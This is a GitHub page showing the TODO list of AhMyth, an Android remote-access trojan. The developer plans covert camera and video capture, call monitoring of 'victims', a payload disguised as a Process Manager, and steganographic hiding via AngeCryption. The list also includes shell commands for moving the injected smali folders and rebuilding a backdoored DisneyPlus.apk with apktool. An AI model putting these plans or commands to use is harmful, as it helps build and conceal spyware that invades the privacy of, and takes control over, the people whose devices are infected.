Skip to content

Latest commit

 

History

History
41 lines (34 loc) · 2.79 KB

TODO.md

File metadata and controls

41 lines (34 loc) · 2.79 KB

Any help on these tasks would be appreciated as I am currently the ONLY ONE working on this project

  1. Integrate Live Camera Preview for the Camera option in the Victims Lab, controlled by the CameraManager.java

    CameraManager.java located @ './AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/'
    

  1. Integrate Video Recording for the camera option in the Victims Lab

  1. Integrate Call Notifications for Incoming and Outgoing Calls from and to the Victim

  1. Test AhMyth payload behaviour with & without AndroidX Libraries to determine if AndroidX helps the AhMyth client run better

  1. Re-write AhMyth payload (remove google play services theme and activity and replace with Process Manager theme)

  1. Find a way to stop the flickering Victim's Connections with socket.io-client v2.0.1, currently needs to maintain socket.io-client v0.8.3 to hold a connection without flickering back and forth with Connecting and Disconnecting with Victims

  1. Find a semantic-ui alternative, as it is causing blocks in upgrading AhMyth's node_modules

    Warnings when running `npm install semantic-ui@latest` stopping semantic-ui from upgrading
    

  1. Find out a way to have the AppCtrl.js file create a new smali or smali_classes folder inside decompiled original APK files for the storing of AhMyth files!

My research has revealed that most of the time when a Building Failed error arises with java 11 & java 8, it is because the ahmyth, io, okhttp3 & okio folders that are normally located inside the smali folder of backdoored original APK's, need to be stored in a different smali or smali_classes folder, i.e something like smali2 or smali_classes2 if the directory doesn't exist already

When testing this method the results were successful, running the following commands allowed me to manually recompile the AhMyth binded APK that had failed to build before PS: The name of the APK was "DisneyPlus.apk"

  • cd disneyplus && mkdir smali_classes5 && cd smali && sudo mv ahmyth android androidx io okhttp3 okio /$HOME/Downloads/Disneyplus/smali_classes5
  • /usr/bin/update-alternatives --config java
  • 0 - to switch to java 11.0.3
  • apktool b disneyplus -o test.apk

Manual building was successful but failed to install on the victim Android Device, THIS IS GOOD!! this means I am getting closer to solving the Building Failed problem for AhMyth, as well as solving the problem of the payload not being installed on the victim Device.

  1. Find a way to add RES_TYPE_STYLES2 plus other RES_TYPE_STYLES to Apktool via tweaking the settings of Apktool and building via gradlew build shadowJar as these style's are used by most APK files today, namely by Facebook

  1. Find a way to successfully integrate AngeCryption into AhMyth for steganography builder